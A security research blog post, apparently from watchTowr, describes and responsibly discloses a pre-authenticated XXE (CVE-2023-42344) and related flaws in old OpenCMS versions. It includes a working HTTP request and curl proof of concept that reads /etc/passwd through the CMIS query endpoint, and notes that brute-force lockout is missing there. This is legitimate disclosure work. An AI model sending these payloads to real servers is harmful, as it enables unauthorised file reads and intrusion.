XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

In the idealistic world of security research, we’d be faced with the latest versions of off-the-shelf enterprise products, primed with fresh hardened code ready for analysis and code kung-fu.

In reality, however, enterprises and users often don’t update their installations unless world-ending, impactful security flaws are demonstrated or there exists a hard business requirement for new functionality. Sometimes, we’re required to step into the TARDIS and travel back in time to assault our targets, with modern techniques, against historical releases.

In this post, we will detail a recent journey into the popular open-source framework OpenCMS and its diverse presence of versions across the Internet with the same goal as ever - break things.

For those wondering ‘what is OpenCMS’? Well, it’s an open-source Java framework developed by Alkacon. Boasting over 500 stars on Github, a short Internet search reveals tens of thousands of installations with various versions in use - http://www.opencms.org/en/.

We were quick to note large enterprises within a diverse set of sectors using this framework, so as per before - we're back to project some mayhem.

Travelling back in time

Before diving into the code, we spent some time sleuthing across the Internet to see how prevalent OpenCMS is. While we were excited to see tens of thousands of installations, we were bemused by the divergence in versions being utilised.

At the time of writing, the latest version available was 16.0. However, using a beautifully exposed version HTTP response header to analyse data across a large amount of deployments, we can see 6,000 instances using OpenCMS 7, which comes in at a whopping 15 years old (being released July 2007), all the way up until recent releases.

Having looked through the published CVE set for OpenCMS, there appeared to be few world-ending bugs that would persuade users to update their instances.

Naturally, and as always, we set out with a gut feeling that vulnerabilities of catastrophic impact existed within these old-timey installs. Exploitation techniques have progressed throughout the years and (even more importantly, as we’ll see along the way) outdated dependencies also play a large part in contributing to vulnerabilities in frameworks. (Thank you Github watchers!)

Before continuing, we had to settle on a relatively old version to review, and so we settled on OpenCMS 9.5.3.

OpenCMS 9.5.3 is exposed on nearly 1,000 installations, and also noted that this is roughly when OpenCMS decided to release Docker Images for developers to quickly boot up. - https://hub.docker.com/r/alkacon/opencms-docker/tags?page=1

So that’s it - with 1.21 Gigawatts of ideas, we stepped into the DeLorean and packed our backpack with techniques ready to peruse code and entice users to update their frameworks.

With a lab target up and running version 9.5.3, the first thing we always like to do (as we have obsessively blogged about previously) with any Java application is to take a look at all of the servlets and filters available by examining the web.xml . These can be detailed within the url-pattern XML tags.

Above, we can see the url-pattern for /cmisatom/* is mapped to the servlet class org.apache.chemistry.opencmis.server.impl.atompub.CmisAtomPubServlet. Just by looking at the classpath we can see it is related to the “Apache Chemistry” library. A quick Google search brings us to the documentation for the endpoint in the context of OpenCMS: https://documentation.opencms.org/opencms-documentation/interfaces/cmis/index.html

In short, it provides the ability for remote applications to interact with the file repository of the application’s web root and its relative resources. It is more-or-less a way for headless automation to take place by simulating user presence.

Apache provides a Java Thick Client which can interact with the endpoint via “Apache Chemistry Workbench”. Let’s give it a look!

Well, after filling in the endpoint connection details and skipping authentication (who needs that?), we’re presented with this stunning 1990s-looking Java GUI that can list files and their relevant access controls:

One of the first things we noticed with this GUI is that it provides the ability to download files. Depending on the configuration of the target, it may be possible to navigate the web directory and download .jsp files, which then can be searched for sensitive source code or hardcoded credentials. This is not the case though, with the vanilla build, but may come into play with customised code.

A little tidbit to note: authentication to this endpoint uses Basic Auth. When brute forcing credentials via the administrative servlets of OpenCMS, there is a lockout mechanism - however this does not apply to the /cmisatom/ endpoint 🙂.

When first loading up the GUI we have the option to authenticate as a user of the OpenCMS framework, however as we're aiming for pre-authenticated bugs of joy and decided to skip this step, a lot of the functionality is blocked in terms of creating objects or editing files. A quick way to way to test all of the available API’s actionable by pre-authenticated users is using the “TCK” function, which runs a smoke test against the applications resource repositories with your current permissions.

This generates requests to the server for querying data, navigating directories as well as attempting to create and delete objects, so be careful using this as it may populate the target with test data should there be any permission misconfigurations.

As can be seen below, a number of requests are sent to the target by this ‘TCK’ function. One that caught our attention was the /query endpoint, which receives an XML formatted POST request with SQL-like syntax. This syntax is actually Apache Chemistry’s own language (for more info, see here).

After seeing intriguing syntax like this, we immediately started testing for any kind of SQL or XXE-like vulnerabilities. As a quick test, we threw some common payloads from the ‘payloads all the things’ repository at it, and hoped for a quick-and-easy win.

Funnily enough, a simple XXE Out of Bounds (OOB) payload works - we can see the stack trace of the parser outputting the error whilst it's attempting to parse an external DTD file:

The OOB server receives a successful HTTP request for the DTD file from the application server, indicating that XXE is possible through the injection of External Entities. This is exciting, a pre-authenticated XXE in a popular CMS framework, how far can we take it?

Whilst in our lab environment we have a likely quick route to success, we’re aware that in reality, most large enterprises will usually monitor egress traffic and block fetching external DTD’s, so perhaps we can do better? Posing the question to ourselves, can we sidestep the requirement for an HTTP fetch by including a DTD file which already exists on the server itself?

Whilst it's straight forward for us to find which DTD files exists within our Docker environment, we figured it would be neat to demonstrate from a black box perspective how to discover available DTD's should a target environment differ.

For this, we can use the wordlist from the fantastic dtd-finder project, simply requesting each and filtering error messages. We soon find that the DTD file [file:///usr/share/nmap/nmap.dtd](file:///usr/share/nmap/nmap.dtd) would exists on our target, and has the correct permissions for us to invoke it.

As well as the wordlist of DTD files, the dtd-finder Github repo also provides corresponding XXE payloads. Luckily for us, there is a payload which uses this nmap.dtd file for our pre-authenticated local file read. Bingo bango breach and tango!

A quick afterthought (somewhat humorous to add): while writing the blog, we realised that the statements value is reflected directly into the location header of the response. By simply declaring an entity within the XML document, then referencing it in the CMIS statement, we can get a nice printout of the file, including directory listing into the response header. So much for those efforts with the error based approach!

Full request:

POST /opencms/cmisatom/cmis-online/query HTTP/1.1
Content-Type: application/cmisquery+xml
Host: host
Content-Length: 524
Connection: close

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><cmis:query xmlns:cmis="<http://docs.oasis-open.org/ns/cmis/core/200908/>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>

While it is pretty clear the issue resides within the Apache Chemistry dependency, this dependency wasn’t introduced into OpenCMS until version 9, and the XXE is present up until version 10.5.0 as they originally used the library chemistry-opencmis-commons-api-0.7.0.jar which was resolved in 10.5.1 with the patched dependency chemistry-opencmis-commons-api-1.0.0.jar when external entities was disabled.

We discovered a number of other issues across various versions of OpenCMS, it would be to convoluted to dive into all of them but we’re happy to provide a table break down of the vulnerabilities exposed in their corresponding versions.

OpenCMS Version Vulnerability Patched Version CVE ID
9 XML External Entity (XXE) Processing (Unauthenticated) 10.5.1 CVE-2023-42344
9 Cross-Site Scripting 10.5.1 CVE-2023-42343
15 Cross-Site Scripting 16 CVE-2023-42345
9 Apache Solr Injection (Unauthenticated) 16 CVE-2023-42346

To make sure our fellow bug hunters can reproduce our findings and follow along at home, here are the proof of concepts for the above bugs discovered in OpenCMS:

XML External Entity (XXE) Processing (CVE-2023-42344)(Unauthenticated)

curl -i -s -k -X $'POST' \\
    -H $'Content-Type: application/cmisquery+xml' -H $'Host: <host>' -H $'Content-Length: 524' -H $'Connection: close' \\
    --data-binary $'<?xml version=\\'1.0\\' encoding=\\'UTF-8\\'?><!DOCTYPE root [<!ENTITY test SYSTEM \\'file:///etc/passwd\\'>]><cmis:query xmlns:cmis=\\"<http://docs.oasis-open.org/ns/cmis/core/200908/\\>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>' \\

XSS (CVE-2023-42343)

curl -i -s -k -X $'GET' \\
    -H $'Content-Type: application/cmisquery+xml' -H $'Host: <host>' \\

XSS (CVE-2023-42345) (Post Authentication)

curl -i -s -k -X $'GET' \\
    -H $'Host: <host>' \\

Apache Solr Injection (CVE-2023-42346) (XXE Variant exists in OpenCMS 10.5.4) (Unauthenticated)

curl -i -s -k -X $'GET' \\
    -H $'Host: <host>' \\


Looking for zero days across the latest versions of applications may be fun, but its not always necessary to break into your specific target. Vulnerabilities may exist within the solution itself, but more often than not, dependencies can introduce exploitable vulnerabilities of their own. An interesting thought to note - once a vulnerability has been found in a dependency as detailed above, what other projects can we find to be using that same library at that same version? Is it a lead to more vulnerabilities within frameworks?

Our memory is not lost on the dependency issue that resided within ForgeRock's OpenAM - utilising a pre-historic Jato Framework Dependency - that was eventually leveraged to Pre-Auth Remote Code Execution by artsploit (CVE-2021-35464). Log4Shell (CVE-2021-44228) is another example that keeps paying dividends as the widespread logging library - utilised in thousands of enterprise-software packages.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.


Date Detail
7th August 2023 Vulnerability discovered
8th August 2023 Requested security contact for OpenCMS
14th August 2023 Received security contact, disclosed to OpenCMS
18th August 2023 watchTowr hunts through client's attack surfaces for impacted systems, communicates with those affected.
2nd October 2023 OpenCMS release version 16 patching the latest of vulnerabilities
21st November 2023 Blogpost and PoC released to public